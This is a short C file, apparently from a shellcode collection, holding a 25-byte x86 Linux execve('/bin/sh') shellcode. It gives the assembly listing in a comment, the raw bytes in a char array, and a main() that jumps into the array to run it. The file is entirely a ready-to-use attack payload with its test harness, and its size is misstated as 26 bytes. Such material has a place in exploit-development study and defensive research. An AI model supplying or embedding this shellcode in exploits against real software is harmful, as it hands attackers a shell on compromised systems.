/*
 * sekfault@shellcode.com.ar
 * EXECVE - /BIN/SH - 03-2010 
 * 26 bytes

 31 c0                   xor    %eax,%eax
 50                      push   %eax
 68 2f 2f 73 68          push   $0x68732f2f
 68 2f 62 69 6e          push   $0x6e69622f
 89 e3                   mov    %esp,%ebx
 50                      push   %eax
 53                      push   %ebx
 89 e1                   mov    %esp,%ecx
 31 d2                   xor    %edx,%edx
 b0 0b                   mov    $0xb,%al
 cd 80                   int    $0x80

*/


const char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

int main()
{
   (*(void(*)())shellcode)();
    return 0;
}